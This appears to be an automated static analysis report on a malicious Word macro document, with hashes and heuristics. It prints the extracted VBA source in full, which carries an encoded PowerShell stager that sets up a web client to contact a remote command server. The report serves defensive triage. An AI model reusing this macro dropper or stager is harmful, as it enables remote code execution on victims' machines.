Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2fc301178d13e475…

MALICIOUS

Office (OOXML)

19.5 KB Created: 2021-09-27 07:30:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-01
MD5: c2f30e535d97021ca3eb0e2021e2ebf4 SHA-1: 469acc320707c62cf9a8427a6ac9743a154253e3 SHA-256: 2fc301178d13e47521028fd20b2bdb816203990b1deadd1b644b7e369f97a7a7
122 Risk Score

Heuristics 4

  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1920 bytes
SHA-256: e576d90125dd52fb168fb528f06d75851d67e80e16ab3d7bc0a41feb4cde3e4d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub start()

Dim Payload As String
Payload = _
"powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVgBlAHIAUwBpAG8testATgBUAGEAQgBsAEUALgBQAFMAV" & _
"gBFAHIAcwBJAE8ATgAuAE0AYQBKAE8AcgAgAC0ARwBlACAAMwApAHsAfQA7AFsAUwB5AFMAVABlAE0ALgBOAGUAdAAuAFMARQBSAFYAaQBj" & _
"AEUAUABvAGkAbgB0AE0AQQBuAGEARwBFAHIAXQA6ADoARQB4AHAARQBjAFQAMQAwADAAQwBPAG4AVABpAG4AVQBFAD0AMAA7ACQAZgA5ADQ" & _
"ARQA9AE4ARQB3AC0ATwBiAGoARQBDAFQAIABTAHkAcwBUAGUAbQAuAE4ARQB0AC4AVwBFAGIAQwBMAGkAZQBuAHQ" & _
"AOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXA" & _
"E8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJ" & _
"ABzAGUAcgA9ACQAKABbAFQARQBYAHQALgBFAG4AQwBPAEQASQBuAEcAXQA6ADoAVQBOAEkAYwBvAGQARQAuAEcARQBUAFMAdABSAG" & _
"kATgBHACgAWwBDAG8ATgB2AEUAUgBUAF0AOgA6AEYAcgBvAG0AQgBBAFMAZQA2ADQAUwBUAHIAaQBuAEcAKAAnAGEAQQBCADAAQQBIAFEAQQBjAEEAQQ" & _
"A2AEEAQwA4AEEATAB3AEEANABBAEQAQQBBAEwAZwBBAHgAQQBEAFUAQQBPAEEAQQB1AEEARABNAEEATQB3AEEAdQBBAEQASQBBAE4AUQBBAD" & _
"EAQQBEAG8AQQBOAEEAQQAwAEEARABNAEEAJwApACkAKQA7ACQAdAA9ACcALwBuAGUAdwBzAC4AcABoAHAAJwA7ACQARgA5ADQAZQAuAEgARQB" & _
"BAGQARQBSAHMALgBBAGQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAGYAOQA0AGUALgBQAHIATwBYAHkAPQBbAFMAeQBT" & _
"AHQAZQBNAC4ATgBFAFQALgBXAEUAYgBSAGUAUQB1AGUAcwBUAF0AOgA6AEQAZQBGAGEAdQBMAFQAVwBlAGIAUAByAE8AeAB5ADsAJABmADkANABl"

Debug.Print (en(Payload))
End Sub


Public Function en(text)
Dim n
Dim i
n = 15
For i = 1 To Len(text)
AB = Mid(text, i, 2)
CD = Asc(AB) + n
EF = Chr(CD)
Mid(text, i, 2) = EF
Next i
en = text
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20480 bytes
SHA-256: 09b27364745eb4ff7275ba5b3a31a6d918349441e061f8ec5f61c6d0c0c926a5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload.